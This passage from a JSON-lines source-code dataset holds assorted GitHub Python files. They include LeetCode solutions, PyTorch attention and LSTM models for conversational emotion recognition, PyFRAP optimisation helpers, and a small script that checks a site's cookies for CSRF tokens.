pd.DataFrame(occ_x_count)\n\nocc_y_count= pd.DataFrame(occ_y_count)\n\n# sort\n","repo_name":"juliachong/marital-occupation","sub_path":"too_confused_starting_over.py","file_name":"too_confused_starting_over.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"42341374025","text":"class Solution:\n def findDiagonalOrder(self, matrix: 'List[List[int]]') -> 'List[int]':\n if matrix == []:\n return []\n \n N=len(matrix) \n M=len(matrix[0])\n if N==1:\n return matrix[0]\n if M==1:\n return [i for x in matrix for i in x]\n diags=[[] for i in range(M+N-1)]\n for i in range(N):\n for j in range(M):\n diags[i+j].append(matrix[i][j])\n inorder=[x[::-1] if diags.index(x) % 2 == 0 else x for x in diags]\n return [i for x in inorder for i in x]\n","repo_name":"SheaML/LeetCode","sub_path":"DiagonalTraverse.py","file_name":"DiagonalTraverse.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"21915152060","text":"# coding: utf-8\n\"\"\"Test manager files.\"\"\"\n\nimport os\nimport abipy.data as abidata\nimport abipy.flowtk as flowtk\n\nfrom abipy.core.testing import AbipyTest\n\n\nclass ManagerTest(AbipyTest):\n\n def test_managers(self):\n \"\"\"Trying to read all managers files in abipy/data/managers.\"\"\"\n root = os.path.join(abidata.dirpath, \"managers\")\n yaml_paths = [os.path.join(root, f) for f in os.listdir(root) if f.endswith(\".yml\") and \"_manager\" in f]\n assert yaml_paths\n for p in yaml_paths:\n manager = flowtk.TaskManager.from_file(p)\n print(manager)\n shell = manager.to_shell_manager(mpi_procs=2)\n #assert 0\n\n def test_schedulers(self):\n \"\"\"Trying to read all scheduler files in abipy/data/managers.\"\"\"\n root = os.path.join(abidata.dirpath, \"managers\")\n yaml_paths = [os.path.join(root, f) for f in os.listdir(root) if f.endswith(\".yml\") and \"_scheduler\" in f]\n assert yaml_paths\n for p in yaml_paths:\n sched = flowtk.PyFlowScheduler.from_file(p)\n print(sched)\n\n #assert 0\n","repo_name":"abinit/abipy","sub_path":"abipy/scripts/tests/test_managers.py","file_name":"test_managers.py","file_ext":"py","file_size_in_byte":1102,"program_lang":"python","lang":"en","doc_type":"code","stars":103,"dataset":"github-code","pt":"72"} +{"seq_id":"71954959273","text":"import math\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch.autograd import Variable\n\nif torch.cuda.is_available():\n FloatTensor = torch.cuda.FloatTensor\n LongTensor = torch.cuda.LongTensor\n ByteTensor = torch.cuda.ByteTensor\n\nelse:\n FloatTensor = torch.FloatTensor\n LongTensor = torch.LongTensor\n ByteTensor = torch.ByteTensor\n\nclass MaskedNLLLoss(nn.Module):\n\n def __init__(self, weight=None):\n super(MaskedNLLLoss, self).__init__()\n self.weight = weight\n self.loss = nn.NLLLoss(weight=weight,\n reduction='sum')\n\n def forward(self, pred, target, mask):\n \"\"\"\n pred -> batch*seq_len, n_classes\n target -> batch*seq_len\n mask -> batch, seq_len\n \"\"\"\n mask_ = mask.view(-1,1) # batch*seq_len, 1\n if type(self.weight)==type(None):\n loss = self.loss(pred*mask_, target)/torch.sum(mask)\n else:\n loss = self.loss(pred*mask_, target)\\\n /torch.sum(self.weight[target]*mask_.squeeze())\n return loss\n\n\nclass MaskedMSELoss(nn.Module):\n\n def __init__(self):\n super(MaskedMSELoss, self).__init__()\n self.loss = nn.MSELoss(reduction='sum')\n\n def forward(self, pred, target, mask):\n \"\"\"\n pred -> batch*seq_len\n target -> batch*seq_len\n mask -> batch*seq_len\n \"\"\"\n loss = self.loss(pred*mask, target)/torch.sum(mask)\n return loss\n\n\nclass UnMaskedWeightedNLLLoss(nn.Module):\n\n def __init__(self, weight=None):\n super(UnMaskedWeightedNLLLoss, self).__init__()\n self.weight = weight\n self.loss = nn.NLLLoss(weight=weight,\n reduction='sum')\n\n def forward(self, pred, target):\n \"\"\"\n pred -> batch*seq_len, n_classes\n target -> batch*seq_len\n \"\"\"\n if type(self.weight)==type(None):\n loss = self.loss(pred, target)\n else:\n loss = self.loss(pred, target)\\\n /torch.sum(self.weight[target])\n return loss\n\n\nclass SimpleAttention(nn.Module):\n\n def __init__(self, input_dim):\n super(SimpleAttention, self).__init__()\n self.input_dim = input_dim\n self.scalar = nn.Linear(self.input_dim,1,bias=False)\n\n def forward(self, M, x=None):\n \"\"\"\n M -> (seq_len, batch, vector)\n x -> dummy argument for the compatibility with MatchingAttention\n \"\"\"\n scale = self.scalar(M) # seq_len, batch, 1\n alpha = F.softmax(scale, dim=0).permute(1,2,0) # batch, 1, seq_len\n attn_pool = torch.bmm(alpha, M.transpose(0,1))[:,0,:] # batch, vector\n return attn_pool, alpha\n\n\nclass MatchingAttention(nn.Module):\n\n def __init__(self, mem_dim, cand_dim, alpha_dim=None, att_type='general'):\n super(MatchingAttention, self).__init__()\n assert att_type!='concat' or alpha_dim!=None\n assert att_type!='dot' or mem_dim==cand_dim\n self.mem_dim = mem_dim\n self.cand_dim = cand_dim\n self.att_type = att_type\n if att_type=='general':\n self.transform = nn.Linear(cand_dim, mem_dim, bias=False)\n if att_type=='general2':\n self.transform = nn.Linear(cand_dim, mem_dim, bias=True)\n #torch.nn.init.normal_(self.transform.weight,std=0.01)\n elif att_type=='concat':\n self.transform = nn.Linear(cand_dim+mem_dim, alpha_dim, bias=False)\n self.vector_prod = nn.Linear(alpha_dim, 1, bias=False)\n\n def forward(self, M, x, mask=None):\n \"\"\"\n M -> (seq_len, batch, mem_dim)\n x -> (batch, cand_dim)\n mask -> (batch, seq_len)\n \"\"\"\n if type(mask)==type(None):\n mask = torch.ones(M.size(1), M.size(0)).type(M.type())\n\n if self.att_type=='dot':\n # vector = cand_dim = mem_dim\n M_ = M.permute(1,2,0) # batch, vector, seqlen\n x_ = x.unsqueeze(1) # batch, 1, vector\n alpha = F.softmax(torch.bmm(x_, M_), dim=2) # batch, 1, seqlen\n elif self.att_type=='general':\n M_ = M.permute(1,2,0) # batch, mem_dim, seqlen\n x_ = self.transform(x).unsqueeze(1) # batch, 1, mem_dim\n alpha = F.softmax(torch.bmm(x_, M_), dim=2) # batch, 1, seqlen\n elif self.att_type=='general2':\n M_ = M.permute(1,2,0) # batch, mem_dim, seqlen\n x_ = self.transform(x).unsqueeze(1) # batch, 1, mem_dim\n mask_ = mask.unsqueeze(2).repeat(1, 1, self.mem_dim).transpose(1, 2) # batch, seq_len, mem_dim\n M_ = M_ * mask_\n alpha_ = torch.bmm(x_, M_)*mask.unsqueeze(1)\n alpha_ = torch.tanh(alpha_)\n alpha_ = F.softmax(alpha_, dim=2)\n # alpha_ = F.softmax((torch.bmm(x_, M_))*mask.unsqueeze(1), dim=2) # batch, 1, seqlen\n alpha_masked = alpha_*mask.unsqueeze(1) # batch, 1, seqlen\n alpha_sum = torch.sum(alpha_masked, dim=2, keepdim=True) # batch, 1, 1\n alpha = alpha_masked/alpha_sum # batch, 1, 1 ; normalized\n #import ipdb;ipdb.set_trace()\n else:\n M_ = M.transpose(0,1) # batch, seqlen, mem_dim\n x_ = x.unsqueeze(1).expand(-1,M.size()[0],-1) # batch, seqlen, cand_dim\n M_x_ = torch.cat([M_,x_],2) # batch, seqlen, mem_dim+cand_dim\n mx_a = F.tanh(self.transform(M_x_)) # batch, seqlen, alpha_dim\n alpha = F.softmax(self.vector_prod(mx_a),1).transpose(1,2) # batch, 1, seqlen\n\n attn_pool = torch.bmm(alpha, M.transpose(0,1))[:,0,:] # batch, mem_dim\n return attn_pool, alpha\n\n\nclass Attention(nn.Module):\n def __init__(self, embed_dim, hidden_dim=None, out_dim=None, n_head=1, score_function='dot_product', dropout=0):\n ''' Attention Mechanism\n :param embed_dim:\n :param hidden_dim:\n :param out_dim:\n :param n_head: num of head (Multi-Head Attention)\n :param score_function: scaled_dot_product / mlp (concat) / bi_linear (general dot)\n :return (?, q_len, out_dim,)\n '''\n super(Attention, self).__init__()\n if hidden_dim is None:\n hidden_dim = embed_dim // n_head\n if out_dim is None:\n out_dim = embed_dim\n self.embed_dim = embed_dim\n self.hidden_dim = hidden_dim\n self.n_head = n_head\n self.score_function = score_function\n self.w_k = nn.Linear(embed_dim, n_head * hidden_dim)\n self.w_q = nn.Linear(embed_dim, n_head * hidden_dim)\n self.proj = nn.Linear(n_head * hidden_dim, out_dim)\n self.dropout = nn.Dropout(dropout)\n if score_function == 'mlp':\n self.weight = nn.Parameter(torch.Tensor(hidden_dim*2))\n elif self.score_function == 'bi_linear':\n self.weight = nn.Parameter(torch.Tensor(hidden_dim, hidden_dim))\n else: # dot_product / scaled_dot_product\n self.register_parameter('weight', None)\n self.reset_parameters()\n\n def reset_parameters(self):\n stdv = 1. / math.sqrt(self.hidden_dim)\n if self.weight is not None:\n self.weight.data.uniform_(-stdv, stdv)\n\n def forward(self, k, q):\n if len(q.shape) == 2: # q_len missing\n q = torch.unsqueeze(q, dim=1)\n if len(k.shape) == 2: # k_len missing\n k = torch.unsqueeze(k, dim=1)\n mb_size = k.shape[0] # ?\n k_len = k.shape[1]\n q_len = q.shape[1]\n # k: (?, k_len, embed_dim,)\n # q: (?, q_len, embed_dim,)\n # kx: (n_head*?, k_len, hidden_dim)\n # qx: (n_head*?, q_len, hidden_dim)\n # score: (n_head*?, q_len, k_len,)\n # output: (?, q_len, out_dim,)\n kx = self.w_k(k).view(mb_size, k_len, self.n_head, self.hidden_dim)\n kx = kx.permute(2, 0, 1, 3).contiguous().view(-1, k_len, self.hidden_dim)\n qx = self.w_q(q).view(mb_size, q_len, self.n_head, self.hidden_dim)\n qx = qx.permute(2, 0, 1, 3).contiguous().view(-1, q_len, self.hidden_dim)\n if self.score_function == 'dot_product':\n kt = kx.permute(0, 2, 1)\n score = torch.bmm(qx, kt)\n elif self.score_function == 'scaled_dot_product':\n kt = kx.permute(0, 2, 1)\n qkt = torch.bmm(qx, kt)\n score = torch.div(qkt, math.sqrt(self.hidden_dim))\n elif self.score_function == 'mlp':\n kxx = torch.unsqueeze(kx, dim=1).expand(-1, q_len, -1, -1)\n qxx = torch.unsqueeze(qx, dim=2).expand(-1, -1, k_len, -1)\n kq = torch.cat((kxx, qxx), dim=-1) # (n_head*?, q_len, k_len, hidden_dim*2)\n # kq = torch.unsqueeze(kx, dim=1) + torch.unsqueeze(qx, dim=2)\n score = torch.tanh(torch.matmul(kq, self.weight))\n elif self.score_function == 'bi_linear':\n qw = torch.matmul(qx, self.weight)\n kt = kx.permute(0, 2, 1)\n score = torch.bmm(qw, kt)\n else:\n raise RuntimeError('invalid score_function')\n \n score = F.softmax(score, dim=0)\n output = torch.bmm(score, kx) # (n_head*?, q_len, hidden_dim)\n output = torch.cat(torch.split(output, mb_size, dim=0), dim=-1) # (?, q_len, n_head*hidden_dim)\n output = self.proj(output) # (?, q_len, out_dim)\n output = self.dropout(output)\n return output, score\n \nclass CNNFeatureExtractor(nn.Module):\n \n def __init__(self, vocab_size, embedding_dim, output_size, filters, kernel_sizes, dropout):\n super(CNNFeatureExtractor, self).__init__()\n\n self.embedding = nn.Embedding(vocab_size, embedding_dim)\n self.convs = nn.ModuleList([nn.Conv1d(in_channels=embedding_dim, out_channels=filters, kernel_size=K) for K in kernel_sizes])\n self.dropout = nn.Dropout(dropout)\n self.fc = nn.Linear(len(kernel_sizes) * filters, output_size)\n self.feature_dim = output_size\n\n\n def init_pretrained_embeddings_from_numpy(self, pretrained_word_vectors):\n self.embedding.weight = nn.Parameter(torch.from_numpy(pretrained_word_vectors).float())\n # if is_static:\n self.embedding.weight.requires_grad = False\n\n\n def forward(self, x, umask):\n \n num_utt, batch, num_words = x.size()\n \n x = x.type(LongTensor) # (num_utt, batch, num_words)\n x = x.view(-1, num_words) # (num_utt, batch, num_words) -> (num_utt * batch, num_words)\n emb = self.embedding(x) # (num_utt * batch, num_words) -> (num_utt * batch, num_words, embedding_dim) \n emb = emb.transpose(-2, -1).contiguous() # (num_utt * batch, num_words, embedding_dim) -> (num_utt * batch, embedding_dim, num_words) \n \n convoluted = [F.relu(conv(emb)) for conv in self.convs] \n pooled = [F.max_pool1d(c, c.size(2)).squeeze() for c in convoluted] \n concated = torch.cat(pooled, 1)\n features = F.relu(self.fc(self.dropout(concated))) # (num_utt * batch, embedding_dim//2) -> (num_utt * batch, output_size)\n features = features.view(num_utt, batch, -1) # (num_utt * batch, output_size) -> (num_utt, batch, output_size)\n mask = umask.unsqueeze(-1).type(FloatTensor) # (batch, num_utt) -> (batch, num_utt, 1)\n mask = mask.transpose(0, 1) # (batch, num_utt, 1) -> (num_utt, batch, 1)\n mask = mask.repeat(1, 1, self.feature_dim) # (num_utt, batch, 1) -> (num_utt, batch, output_size)\n features = (features * mask) # (num_utt, batch, output_size) -> (num_utt, batch, output_size)\n\n return features\n\n\nclass LSTMModel(nn.Module):\n\n def __init__(self, D_m, D_e, D_h, n_classes=7, dropout=0.5, attention=False):\n \n super(LSTMModel, self).__init__()\n \n self.dropout = nn.Dropout(dropout)\n self.attention = attention\n self.lstm = nn.LSTM(input_size=D_m, hidden_size=D_e, num_layers=2, bidirectional=True, dropout=dropout)\n \n if self.attention:\n self.matchatt = MatchingAttention(2*D_e, 2*D_e, att_type='general2')\n \n self.linear = nn.Linear(2*D_e, D_h)\n self.smax_fc = nn.Linear(D_h, n_classes)\n\n def forward(self, U, qmask, umask):\n \"\"\"\n U -> seq_len, batch, D_m\n qmask -> seq_len, batch, party\n \"\"\"\n emotions, hidden = self.lstm(U)\n alpha, alpha_f, alpha_b = [], [], []\n \n if self.attention:\n att_emotions = []\n alpha = []\n for t in emotions:\n att_em, alpha_ = self.matchatt(emotions, t, mask=umask)\n att_emotions.append(att_em.unsqueeze(0))\n alpha.append(alpha_[:, 0, :])\n att_emotions = torch.cat(att_emotions, dim=0)\n hidden = F.relu(self.linear(att_emotions))\n else:\n hidden = F.relu(self.linear(emotions))\n \n hidden = self.dropout(hidden)\n log_prob = F.log_softmax(self.smax_fc(hidden), 2)\n return log_prob, alpha, alpha_f, alpha_b\n \n \nclass E2ELSTMModel(nn.Module):\n\n def __init__(self, D_e, D_h,\n vocab_size, embedding_dim=300, \n cnn_output_size=100, cnn_filters=50, cnn_kernel_sizes=(3,4,5), cnn_dropout=0.5,\n n_classes=7, dropout=0.5, attention=False):\n \n super(E2ELSTMModel, self).__init__()\n\n self.cnn_feat_extractor = CNNFeatureExtractor(vocab_size, embedding_dim, cnn_output_size, cnn_filters, cnn_kernel_sizes, cnn_dropout)\n \n self.dropout = nn.Dropout(dropout)\n self.attention = attention\n self.lstm = nn.LSTM(input_size=cnn_output_size, hidden_size=D_e, num_layers=2, bidirectional=True, dropout=dropout)\n \n if self.attention:\n self.matchatt = MatchingAttention(2*D_e, 2*D_e, att_type='general2')\n \n self.linear = nn.Linear(2*D_e, D_h)\n self.smax_fc = nn.Linear(D_h, n_classes)\n \n def init_pretrained_embeddings(self, pretrained_word_vectors):\n self.cnn_feat_extractor.init_pretrained_embeddings_from_numpy(pretrained_word_vectors)\n\n def forward(self, input_seq, qmask, umask):\n \"\"\"\n U -> seq_len, batch, D_m\n qmask -> seq_len, batch, party\n \"\"\"\n U = self.cnn_feat_extractor(input_seq, umask)\n \n emotions, hidden = self.lstm(U)\n alpha, alpha_f, alpha_b = [], [], []\n \n if self.attention:\n att_emotions = []\n alpha = []\n for t in emotions:\n att_em, alpha_ = self.matchatt(emotions, t, mask=umask)\n att_emotions.append(att_em.unsqueeze(0))\n alpha.append(alpha_[:, 0, :])\n att_emotions = torch.cat(att_emotions, dim=0)\n hidden = F.relu(self.linear(att_emotions))\n else:\n hidden = F.relu(self.linear(emotions))\n \n hidden = self.dropout(hidden)\n log_prob = F.log_softmax(self.smax_fc(hidden), 2)\n return log_prob, alpha, alpha_f, alpha_b\n ","repo_name":"declare-lab/conv-emotion","sub_path":"bc-LSTM-pytorch/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":14968,"program_lang":"python","lang":"en","doc_type":"code","stars":1210,"dataset":"github-code","pt":"72"} +{"seq_id":"28482154904","text":"# https://leetcode.com/problems/find-three-consecutive-integers-that-sum-to-a-given-number/\n\nclass Solution:\n def sumOfThree(self, num: int) -> List[int]:\n third = (num - 3) / 3\n if third % 1 == 0:\n third = int(third)\n return [third, third + 1, third + 2]\n else:\n return []\n","repo_name":"nawrazi/competitive-programming","sub_path":"week_12/three-consecutive-integers-with-given-sum.py","file_name":"three-consecutive-integers-with-given-sum.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25782680822","text":"import numpy as np\n\n#PyFRAP\nimport pyfrp_fit_module \n\nfrom pyfrp_term_module import *\n\n#===========================================================================================================================================================================\n#Module Functions\n#===========================================================================================================================================================================\n\ndef constrObjFunc(x,fit,debug,ax,returnFit):\n\t\n\t\"\"\"Objective function when using Constrained Nelder-Mead.\n\t\n\tCalls :py:func:`pyfrp.modules.pyfrp_optimization_module.xTransform` to transform x into\n\tconstrained version, then uses :py:func:`pyfrp.modules.pyfrp_fit_module.FRAPObjFunc` to \n\tfind SSD.\n\t\n\tArgs:\n\t\tx (list): Input vector, consiting of [D,(prod),(degr)].\n\t\tfit (pyfrp.subclasses.pyfrp_fit): Fit object.\n\t\tdebug (bool): Display debugging output and plots.\n\t\tax (matplotlib.axes): Axes to display plots in.\n\t\treturnFit (bool): Return fit instead of SSD.\n\t\n\tReturns:\n\t\t float: SSD of fit. Except ``returnFit==True``, then will return fit itself. \n\t\"\"\"\n\t\n\t\n\tLBs, UBs = buildBoundLists(fit)\n\t\n\tx=xTransform(x,LBs,UBs)\n\n\tssd=pyfrp_fit_module.FRAPObjFunc(x,fit,debug,ax,returnFit)\n\t\n\treturn ssd\n\ndef xTransform(x,LB,UB):\n\t\n\t\"\"\"Transforms ``x`` into constrained form, obeying upper \n\tbounds ``UB`` and lower bounds ``LB``.\n\t\n\t.. note:: Will add tiny offset to LB(D), to avoid singularities.\n\t\n\tIdea taken from http://www.mathworks.com/matlabcentral/fileexchange/8277-fminsearchbnd--fminsearchcon\n\t\n\tArgs:\n\t\tx (list): Input vector, consiting of [D,(prod),(degr)].\n\t\tLB (list): List of lower bounds for ``D,prod,degr``.\n\t\tUB (list): List of upper bounds for ``D,prod,degr``.\n\t\n\tReturns:\n\t\tlist: Transformed x-values. \n\t\"\"\"\n\t\n\t#Make sure everything is float\n\tx=np.asarray(x,dtype=np.float64)\n\tLB=np.asarray(LB,dtype=np.float64)\n\tUB=np.asarray(UB,dtype=np.float64)\n\t\n\t#Check if LB_D==0, then add a little noise to it so we do not end up with xtrans[D]==0 and later have singularities when scaling tvec\n\tif LB[0]==0:\n\t\tLB[0]=1E-10\n\t\n\t#Determine number of parameters to be fitted\n\tnparams=len(x)\n\n\t#Make empty vector\n\txtrans = np.zeros(np.shape(x))\n\t\n\t# k allows some variables to be fixed, thus dropped from the\n\t# optimization.\n\tk=0\n\n\tfor i in range(nparams):\n\n\t\t#Upper bound only\n\t\tif UB[i]!=None and LB[i]==None:\n\t\t\n\t\t\txtrans[i]=UB[i]-x[k]**2\n\t\t\tk=k+1\n\t\t\t\n\t\t#Lower bound only\t\n\t\telif UB[i]==None and LB[i]!=None:\n\t\t\t\n\t\t\txtrans[i]=LB[i]+x[k]**2\n\t\t\tk=k+1\n\t\t\n\t\t#Both bounds\n\t\telif UB[i]!=None and LB[i]!=None:\n\t\t\t\n\t\t\txtrans[i] = (np.sin(x[k])+1.)/2.*(UB[i] - LB[i]) + LB[i]\n\t\t\txtrans[i] = max([LB[i],min([UB[i],xtrans[i]])])\n\t\t\tk=k+1\n\t\t\n\t\t#No bounds\n\t\telif UB[i]==None and LB[i]==None:\n\t\t\n\t\t\txtrans[i] = x[k]\n\t\t\tk=k+1\n\t\t\t\n\t\t#Note: The original file has here another case for fixed variable, but since we made the decision earlier which when we call frap_fitting, we don't need this here.\n\t\n\treturn xtrans\t\n\t\t\ndef transformX0(x0,LB,UB):\n\t\n\t\"\"\"Transforms ``x0`` into constrained form, obeying upper \n\tbounds ``UB`` and lower bounds ``LB``.\n\t\n\tIdea taken from http://www.mathworks.com/matlabcentral/fileexchange/8277-fminsearchbnd--fminsearchcon\n\t\n\tArgs:\n\t\tx0 (list): Input initial vector, consiting of [D,(prod),(degr)].\n\t\tLB (list): List of lower bounds for ``D,prod,degr``.\n\t\tUB (list): List of upper bounds for ``D,prod,degr``.\n\t\n\tReturns:\n\t\tlist: Transformed x-values. \n\t\"\"\"\n\t\n\tx0u = list(x0)\n\t\n\tnparams=len(x0)\n\t\n\tk=0\n\tfor i in range(nparams):\n\t\t\n\t\t#Upper bound only\n\t\tif UB[i]!=None and LB[i]==None:\n\t\t\tif UB[i]<=x0[i]:\n\t\t\t\tx0u[k]=0\n\t\t\telse:\n\t\t\t\tx0u[k]=sqrt(UB[i]-x0[i])\t\n\t\t\tk=k+1\n\t\t\t\n\t\t#Lower bound only\n\t\telif UB[i]==None and LB[i]!=None:\n\t\t\tif LB[i]>=x0[i]:\n\t\t\t\tx0u[k]=0\n\t\t\telse:\n\t\t\t\tx0u[k]=np.sqrt(x0[i]-LB[i])\t\n\t\t\tk=k+1\n\t\t\n\t\t\n\t\t#Both bounds\n\t\telif UB[i]!=None and LB[i]!=None:\n\t\t\tif UB[i]<=x0[i]:\n\t\t\t\tx0u[k]=np.pi/2\n\t\t\telif LB[i]>=x0[i]:\n\t\t\t\tx0u[k]=-np.pi/2\n\t\t\telse:\n\t\t\t\tx0u[k] = 2*(x0[i] - LB[i])/(UB[i]-LB[i]) - 1;\n\t\t\t\t#shift by 2*pi to avoid problems at zero in fminsearch otherwise, the initial simplex is vanishingly small\n\t\t\t\tx0u[k] = 2*np.pi+np.arcsin(max([-1,min(1,x0u[k])]));\n\t\t\tk=k+1\n\t\t\n\t\t#No bounds\n\t\telif UB[i]==None and LB[i]==None:\n\t\t\tx0u[k] = x[i]\n\t\t\tk=k+1\n\t\n\treturn x0u\n\ndef buildBoundLists(fit):\n\t\n\t\"\"\"Builds list of lower bounds and upper bounds.\n\t\n\tArgs:\n\t\tfit (pyfrp.subclasses.pyfrp_fit): Fit object.\n\t\t\n\tReturns:\n\t\ttuple: Tuple containing: \n\t\t\n\t\t\t* LBs (list): List of lower bounds.\n\t\t\t* UBs (list): List of upper bounds.\n\t\t\t\n\t\n\t\n\t\"\"\"\n\t\n\tLBs=[fit.LBD]+int(fit.fitProd)*[fit.LBProd]+int(fit.fitDegr)*[fit.LBDegr]+len(fit.ROIsFitted)*[fit.LBEqu]\n\tUBs=[fit.UBD]+int(fit.fitProd)*[fit.UBProd]+int(fit.fitDegr)*[fit.UBDegr]+len(fit.ROIsFitted)*[fit.UBEqu]\n\t\n\treturn LBs,UBs","repo_name":"alexblaessle/PyFRAP","sub_path":"pyfrp/modules/pyfrp_optimization_module.py","file_name":"pyfrp_optimization_module.py","file_ext":"py","file_size_in_byte":4748,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"72"} +{"seq_id":"2555278730","text":"\"\"\"\nВ первой строке даны целое число 1≤n≤105 1 \\le n \\le 10^5 1≤n≤105\nи массив A[1…n] A[1 \\ldots n] A[1…n] из n n n различных натуральных чисел, \nне превышающих 109 10^9 109, в порядке возрастания, \nво второй — целое число 1≤k≤105 1 \\le k \\le 10^5 1≤k≤105 и k k k\nнатуральных чисел b1,…,bk b_1, \\ldots, b_k b1​,…,bk​, \nне превышающих 109 10^9 109. \nДля каждого i i i от 1 до k k k \nнеобходимо вывести индекс 1≤j≤n 1 \\le j \\le n 1≤j≤n,\nдля которого A[j]=bi A[j]=b_i A[j]=bi​, или −1 -1 −1, если такого j j j нет.\n\nSample Input:\n5 1 5 8 12 13\n5 8 1 23 1 11\n\nSample Output:\n3 1 -1 1 -1\n\"\"\"\n\n# Решение\n\ndef binary_search(sort_list, k):\n left = 0\n right = len(sort_list) - 1\n while left <= right:\n middle = (left + right) // 2\n if sort_list[middle] == k:\n return middle + 1\n elif sort_list[middle] > k:\n right = middle - 1\n else:\n left = middle + 1\n return -1\n\ndef main():\n n, *a = map(int, input().split())\n assert n == len(a)\n a = sorted(a)\n m, *b = map(int, input().split())\n assert m == len(b)\n for i in b:\n print(binary_search(a, i), end=' ')\n\n\n\n\nif __name__ == '__main__':\n main()","repo_name":"IBRA110/Algorithms","sub_path":"Binary_search.py","file_name":"Binary_search.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29405588863","text":"import requests\nimport sys\nimport subprocess\nimport os\nimport http.client\nfrom colorama import Fore, Back, Style\nimport time\n#from http import cookies\nfrom http.cookiejar import CookieJar, DefaultCookiePolicy\n\ndef update_progress(progress):\n length = 100\n block = int(round(length*progress))\n display = \"{0}\\r{1}[{2}]{3}\".format(Fore.GREEN,\" \"*15,\"-\"*block + \" \"*(length-block),Fore.RESET) #round(progress*100, 2)\n sys.stdout.write(display)\n sys.stdout.flush()\n \ndef actionCall(action):\n print(Fore.BLUE+action+Style.RESET_ALL)\n for i in range(100):\n time.sleep(0.05)\n update_progress(i/100.0)\n update_progress(1)\n print(\"\\n\")\n \ndef goBack():\n print(Fore.WHITE+\"\\n[+] Protection Against Cross Site Request Forgery Checked \"+Style.RESET_ALL)\n while True:\n reTest=input(Fore.GREEN+\"\\n>> Do You Want To Test For XSRF Again ? (y/N) : \"+Fore.RESET)\n if reTest=='y' or reTest=='Y':\n xsrfInfo() #Going Back to test For XSRF check\n elif reTest=='n' or reTest=='N' or reTest=='':\n while True:\n choice=input(Fore.GREEN+\"\\n>> Press Q to Quit or ENTER to go back to index : \"+Style.RESET_ALL)\n if(choice=='Q' or choice=='q'):\n sys.exit() #Exit Program\n elif choice=='':\n print(Fore.BLUE+\"[-] Going back to the Index of Medium Level Vulnerability Scanner\")\n return\n else:\n print(Fore.RED+Style.DIM+\"[X] Invalid choice, enter Again : \"+Style.RESET_ALL)\n else :\n print(Fore.RED+Style.DIM+\"[X] Invalid choice, Enter Again : \"+Style.RESET_ALL)\n\ndef checklink(link):\n #To check the correctness of link\n try:\n r=requests.get(link)\n except Exception:\n print(Fore.RED+Style.DIM+\"[X] Wrong Link Given, Try Again.\"+Style.RESET_ALL)\n xsrfInfo()\n\ndef xsrfInfo():\n link=input(Fore.GREEN+\"\\n>> Enter The URL of Login Page : \"+Fore.RESET) #\"http://www.quora.com\"\n if 'http' not in link:\n link=\"http://\"+link\n print(Fore.MAGENTA+\"[] Checking The Correctness of Given URL\")\n checklink(link)\n #since the url is correct:\n print(Fore.BLUE+\"[] The Given URL is correct\")\n print(\"[] Sending url request\")\n r = requests.get(link) #sendind the given link request\n print(Fore.WHITE+\"[.] Valid URL Given\\n\")\n actionCall(\"[!] Intiating check to find the presence of CSRF Token\")\n #print(r.cookies)\n if 'csrftoken' in r.cookies :\n print(Fore.GREEN+\"[@]CSRF TOKEN PRESENT!\",end=' ')\n csrftoken = r.cookies['csrftoken']\n print(Fore.CYAN+\"Value : \"+csrftoken)\n elif 'XSRF-TOKEN' in r.cookies :\n print(Fore.GREEN+\"[@]CSRF TOKEN PRESENT!\",end=' ')\n csrftoken = r.cookies['XSRF-TOKEN']\n print(Fore.CYAN+\"Value : \"+csrftoken)\n elif 'X-CSRF-Token' in r.cookies :\n print(Fore.GREEN+\"[@]CSRF TOKEN PRESENT!\",end=' ')\n csrftoken = r.cookies['XSRF-TOKEN']\n print(Fore.CYAN+\"Value : \"+csrftoken)\n else :\n print(Fore.RED+\"\\n[!]Unable to find CSRF Token!\\n\")\n\n actionCall(\"\\n[!] Intiating cookies configuration check Defending against CSRF!\")\n print(Fore.WHITE+\"[@]Cookie Name \\t | \\t Attribute\"+Fore.YELLOW)\n for cookie in r.cookies:\n cookieData=cookie.__dict__\n print(\"[.]\"+cookie.name,end=\"\\t\\t\\t\")\n chData=cookie._rest\n print(chData)\n print(Fore.RED+\"\\n[!] Best Configuration to defend against CSRF : SameSite=Strict\") \n goBack()\n\n","repo_name":"gunishachhabra/scanGo","sub_path":"xsrfCheck.py","file_name":"xsrfCheck.py","file_ext":"py","file_size_in_byte":3547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20693612388","text":"import os\nimport time\nimport json\nimport argparse\nimport importlib\nimport multiprocessing\n\nimport logging\nfrom logging import handlers\n\nfrom datetime import datetime\nfrom definitions import LOG_DIR, WEIGHT_DIR, DATA_DIR\nfrom utils import dataset\nfrom utils.voting import voting\n# from utils.plot import plot_spectrogram\nfrom utils.encoder import NumpyEncoder\nfrom utils.explainable_block import explainable_block\n\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.callbacks import TensorBoard\n\nLOG = logging.getLogger(__name__)\n\n\ndef initLog(debug=False):\n logging.basicConfig(\n level=logging.INFO,\n format='%(asctime)s %(levelname)s %(message)s',\n datefmt='%Y-%m-%d %H:%M',\n handlers=[logging.StreamHandler(), handlers.RotatingFileHandler('output.log', \"w\", 1024 * 1024 * 100, 3, \"utf-8\")]\n )\n LOG.setLevel(logging.DEBUG if debug else logging.INFO)\n tf.get_logger().setLevel('ERROR')\n\n\ndef get_optimizer(optimizer, lr):\n optimizer = optimizer.lower()\n if optimizer == 'adadelta':\n return tf.optimizers.Adadelta() if lr == 0 else tf.optimizers.Adadelta(learning_rate=lr)\n elif optimizer == 'adagrad':\n return tf.optimizers.Adagrad() if lr == 0 else tf.optimizers.Adagrad(learning_rate=lr)\n elif optimizer == 'adam':\n return tf.optimizers.Adam() if lr == 0 else 